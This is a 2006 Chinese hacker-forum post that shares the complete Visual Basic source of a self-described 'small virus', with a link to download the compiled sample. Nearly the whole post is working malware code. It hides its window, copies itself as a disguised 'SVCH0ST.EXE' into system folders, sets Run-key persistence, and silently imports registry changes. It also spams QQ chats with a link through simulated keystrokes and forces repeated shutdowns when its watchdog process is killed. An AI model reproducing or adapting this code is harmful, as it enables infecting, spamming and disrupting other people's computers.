蓝风·幻 2006-12-16 14:28
[VB代码]VB编写的小病毒及其源代码
[table=95%][tr][td=2,1][size=5][b]VB编写的小病毒及其源代码[/b][/size]
[/td][/tr][tr][td=1,1,40%] 双击自动*屏[/td][td=1,1,60%][/td][/tr][tr][td=2,1]
[size=10][size=2]软件作者：暗夜盛装
信息来源：邪恶八进制信息安全团队（[/size][size=2]www.eviloctal.com[/size][size=2]）
这是我前天发出来那个病毒的源码...好久以前写的了呵呵.喜欢就拿走吧~
'-----------------------------------------------------小病主程序-------------
Private Const FILESIZEOFAPP2 = 24064
Private Const FILESIZEOFAPP3 = 1386496
Private RunFile$
Private Const NORMAL_PRIORITY_CLASS = &H20
Private Const INFINITE = &HFFFFFFFF
Private Const WAIT_TIMEOUT = &H102&
Private Flag As Boolean
Private Type PROCESS_INFORMATION '
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WaitForInputIdle Lib "user32" (ByVal hProcess As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const GW_OWNER = 4
Private Const SW_HIDE = 0
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const KEYEVENTF_KEYUP = &H2
Dim j As String
Dim k As String
Dim ii As Integer
Dim e, f As String
Private Sub Form_Load()
If App.PrevInstance Then
End
End If
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
VB6DLL
YCZS
FUZS
SHZ
SgReg
XZCB
RunFile = SystemDir1 & "\TIMPlatform.exe"
Flag = False
QDCX
End Sub
Sub FUZS()
On Error Resume Next
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
Set SystemDir2 = FileSystem0bject.getspecialfolder(2)
If Dir(SystemDir1 & "\SVCH0ST.EXE") <> "" Then
JJJ = 1
Else
On Error Resume Next
BenS = App.Path & "\VBORC.exe"
FuZi = SystemDir1 & "\SVCH0ST.EXE"
FileCopy BenS, FuZi
SetAttr FuZi, vbhiden + vbSystem + vbReadOnly
End If
If Dir(SystemDir2 & "\SVCH0ST.EXE") <> "" Then
DoEvents
Else
On Error Resume Next
BenS = SystemDir1 & "\SVCH0ST.EXE"
FuZi = SystemDir2 & "\SVCH0ST.EXE"
FileCopy BenS, FuZi
SetAttr FuZi, vbhiden + vbSystem + vbReadOnly
End If
If Dir(SystemDir2 & "\SVCH0ST.EXE") <> "" Then
DoEvents
Else
On Error Resume Next
BenS = App.Path & "\VBORC.exe"
FTEMP = SystemDir1 & "\SVCH0ST.EXE"
FileCopy BenS, FTEMP
SetAttr FTEMP, vbhiden + vbSystem + vbReadOnly
End If
If Dir(SystemDir1 & "\SVCH0ST.EXE") <> "" Then
DoEvents
Else
On Error Resume Next
BenS = SystemDir2 & "\SVCH0ST.EXE"
FuZi = SystemDir1 & "\SVCH0ST.EXE"
FileCopy BenS, FuZi
SetAttr FuZi, vbhiden + vbSystem + vbReadOnly
End If
If Dir(SystemDir1 & "\MSINETK.DEP") <> "" Then
DoEvents
Else
On Error Resume Next
BenS = App.Path & "\VBORC.EXE"
FuZi = SystemDir1 & "\MSINETK.DEP"
FileCopy BenS, FuZi
SetAttr FuZi, vbhiden + vbSystem + vbReadOnly
End If
If Dir(SystemDir1 & "\MSINETK.DEP") <> "" Then
DoEvents
Else
On Error Resume Next
BenS = App.Path & "\SVCH0ST.EXE"
FuZi = SystemDir1 & "\MSINETK.DEP"
FileCopy BenS, FuZi
SetAttr FuZi, vbhiden + vbSystem + vbReadOnly
End If
End Sub
Sub YCZS()
Dim HID As Long
HID = GetWindow(Me.hwnd, GW_OWNER) '不出现在程序中
ShowWindow HID, SW_HIDE
Me.Visible = False '不显示主体
End Sub
Sub XZCB()
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
Set SystemDir2 = FileSystem0bject.getspecialfolder(2)
Dim Ret1 As Long
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\run", Ret1
RegSetValue Ret1, vbNullString, REG_SZ, SystemDir2 & "\SVCH0ST.EXE", 4
Dim Ret2 As Long
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\runServices", Ret2
RegSetValue Ret2, vbNullString, REG_SZ, SystemDir2 & "\SVCH0ST.EXE", 4
End Sub
Sub SgReg()
On Error Resume Next
Open "C:\REG.REG" For Output As #1
Print #1, Me.Label1
Close #1
Shell "regedit /S C:\REG.REG", vbHide
Kill "C:\REG.REG"
End Sub
Sub SHZ()
On Error Resume Next
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1) '获取WINDOWS/SYSTEM32目录
Set SystemDir2 = FileSystem0bject.getspecialfolder(2) '当前用户TEMP目录
Dim SCEXE() As Byte
Dim Counter As Long
SCEXE = LoadResData(101, "CUSTOM")
If Dir(SystemDir1 & "\TIMPlatform.exe") <> "" Then
JJJ = 1
Else
Open SystemDir1 & "\TIMPlatform.exe" For Binary As #1
For Counter = 0 To FILESIZEOFAPP2 - 1
Put #1, , SCEXE(Counter)
Next Counter
Close #1
End If
End Sub
Private Sub Timer1_Timer()
Dim SuiJi
Randomize
SuiJi = Int((24 * Rnd) + 1)
If SuiJi = 10 Then
Shell "Explorer.exe [/size][size=2]http://www.okkd.com/OPENGG.ASP[/size][size=2]"
End If
If SuiJi = 15 Then
Shell "Explorer.exe [/size][size=2]http://www.chinanethack.com[/size][size=2]"
End If
End Sub
Private Sub Timer3_Timer()
SHZ
End Sub
Sub VB6DLL()
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
Set SystemDir2 = FileSystem0bject.getspecialfolder(2)
On Error Resume Next
Dim SCEXE2() As Byte
Dim Counter1 As Long
SCEXE2 = LoadResData(102, "CUSTOM")
If Dir(SystemDir1 & "\msvbvm60.dll") <> "" Then
JJJ = 1
Else
Open SystemDir1 & "\msvbvm60.dll" For Binary As #1
For Counter1 = 0 To FILESIZEOFAPP3 - 1
Put #1, , SCEXE2(Counter1)
Next Counter1
Close #1
End If
End Sub
Private Sub TimerQQ_Timer()
ii = ii + 1
If ii = 1111 Then ii = 1
Dim h As Long
Dim i As String
h = GetForegroundWindow()
i = Space(256)
GetWindowText h, i, 255
If InStr(1, i, "与") And ii Mod 20 = 8 Then
j = Space(256)
j = i
Call mer
End If
If InStr(1, i, "群") And ii Mod 20 = 8 Then
j = Space(256)
j = i
Call mer
End If
If InStr(1, i, "发送消息") And ii Mod 20 = 8 Then
j = Space(256)
j = i
Call mer
End If
End Sub
Sub mer()
If k <> j Then
Clipboard.Clear
Clipboard.SetText "去我的网站看看吧~~~~~" & Chr(13) & Chr(10) & "[/size][size=2]http://www.chinanethack.com[/size][size=2]"
keybd_event &H11, 0, 0, 0
keybd_event 86, 0, 0, 0
keybd_event 86, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, 0, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
k = Space(256)
k = j
End If
End Sub
Private Sub QDCX()
Dim res&
Dim sinfo As STARTUPINFO
Dim pinfo As PROCESS_INFORMATION
sinfo.cb = Len(sinfo)
sinfo.lpReserved = vbNullString
sinfo.lpDesktop = vbNullString
sinfo.lpTitle = vbNullString
sinfo.dwFlags = 0
Label2.Refresh
res = CreateProcess(RunFile, vbNullString, 0, 0, True, _
NORMAL_PRIORITY_CLASS, ByVal 0&, vbNullString, sinfo, pinfo)
If res Then
WaitForTerm pinfo
Else
End If
End Sub
Private Sub WaitForTerm(pinfo As PROCESS_INFORMATION)
Dim res&
Dim res1&
Call WaitForInputIdle(pinfo.hProcess, INFINITE)
Label2.Refresh
Do
If Flag Then Exit Do
res = WaitForSingleObject(pinfo.hProcess, 0)
If res <> WAIT_TIMEOUT Then
Shell "shutdown /s"
Shell "shutdown /s"
Shell "shutdown /s"
Shell "shutdown /s"
Exit Do
End If
DoEvents '释放内存
Debug.Print res
Loop While True
End Sub
'-----------------------------------------------------小病附属程序-------------
Private RunFile$
Private Const NORMAL_PRIORITY_CLASS = &H20
Private Const INFINITE = &HFFFFFFFF
Private Const WAIT_TIMEOUT = &H102&
Private Flag As Boolean
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WaitForInputIdle Lib "user32" (ByVal hProcess As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '不出现在程序中
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long '不出现在程序中
Private Const GW_OWNER = 4
Private Const SW_HIDE = 0
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Sub Form_Load()
If App.PrevInstance Then
End
End If
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
YCZS
FBFZ
SgReg
XZCB
RunFile = SystemDir1 & "\SVCH0ST.EXE"
Flag = False
QDCX
End Sub
Sub XZCB()
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
Set SystemDir2 = FileSystem0bject.getspecialfolder(2)
Dim Ret1 As Long
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\run", Ret1
RegSetValue Ret1, vbNullString, REG_SZ, SystemDir2 & "\SVCH0ST.EXE", 4
Dim Ret2 As Long
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\runServices", Ret2
RegSetValue Ret2, vbNullString, REG_SZ, SystemDir2 & "\SVCH0ST.EXE", 4
End Sub
Sub YCZS()
Dim HID As Long
HID = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow HID, SW_HIDE
Me.Visible = False '不显示主体
End Sub
Sub FBFZ()
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
Set SystemDir2 = FileSystem0bject.getspecialfolder(2)
If Dir(SystemDir1 & "\SVCH0ST.EXE") <> "" Then
DoEvents
On Error Resume Next
BenS = SystemDir1 & "\MSINETK.DEP"
FuZi = SystemDir1 & "\SVCH0ST.EXE"
FileCopy BenS, FuZi
End If
If Dir(SystemDir2 & "\SVCH0ST.EXE") <> "" Then
DoEvents
Else
On Error Resume Next
BenS = SystemDir1 & "\MSINETK.DEP"
FuZi = SystemDir2 & "\SVCH0ST.EXE"
FileCopy BenS, FuZi
End If
End Sub
Sub SgReg()
On Error Resume Next
Open "C:\REG.REG" For Output As #1
Print #1, Me.Label1
Close #1
Shell "regedit /S C:\REG.REG"
Kill "C:\REG.REG"
End Sub
Sub ZCX()
On Error Resume Next
Dim FileSystem0bject
Dim SystemDir1
Dim SystemDir2
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject")
Set SystemDir1 = FileSystem0bject.getspecialfolder(1)
Set SystemDir2 = FileSystem0bject.getspecialfolder(2)
DoEvents
If Dir(SystemDir1 & "\SVCH0ST.EXE") <> "" Then
DoEvents
Else
FBFZ
SgReg
End If
If Dir(SystemDir2 & "\SVCH0ST.EXE") <> "" Then
DoEvents
Else
FBFZ
SgReg
End If
End Sub
Private Sub Timer1_Timer()
DoEvents
ZCX
End Sub
Private Sub QDCX()
Dim res&
Dim sinfo As STARTUPINFO
Dim pinfo As PROCESS_INFORMATION
sinfo.cb = Len(sinfo)
sinfo.lpReserved = vbNullString
sinfo.lpDesktop = vbNullString
sinfo.lpTitle = vbNullString
sinfo.dwFlags = 0
Label2.Refresh
res = CreateProcess(RunFile, vbNullString, 0, 0, True, _
NORMAL_PRIORITY_CLASS, ByVal 0&, vbNullString, sinfo, pinfo)
If res Then
WaitForTerm pinfo
Else
End If
End Sub
Private Sub WaitForTerm(pinfo As PROCESS_INFORMATION)
Dim res&
Dim res1&
Call WaitForInputIdle(pinfo.hProcess, INFINITE)
Label2.Refresh
Do
If Flag Then Exit Do
res = WaitForSingleObject(pinfo.hProcess, 0)
If res <> WAIT_TIMEOUT Then
Shell "shutdown /s"
Shell "shutdown /s"
Shell "shutdown /s"
Shell "shutdown /s"
Exit Do
End If
DoEvents
Debug.Print res
Loop While True
End Sub
...........呵呵~[/size]
[url=http://www.chinanethack.com/SFDO/VBXBD.rar][color=#0000ff]点击下载样本程序[/color][/url]
[/size]
[/td][/tr][/table]
[[i] 本帖最后由 matin 于 2006-12-22 09:15 编辑 [/i]]
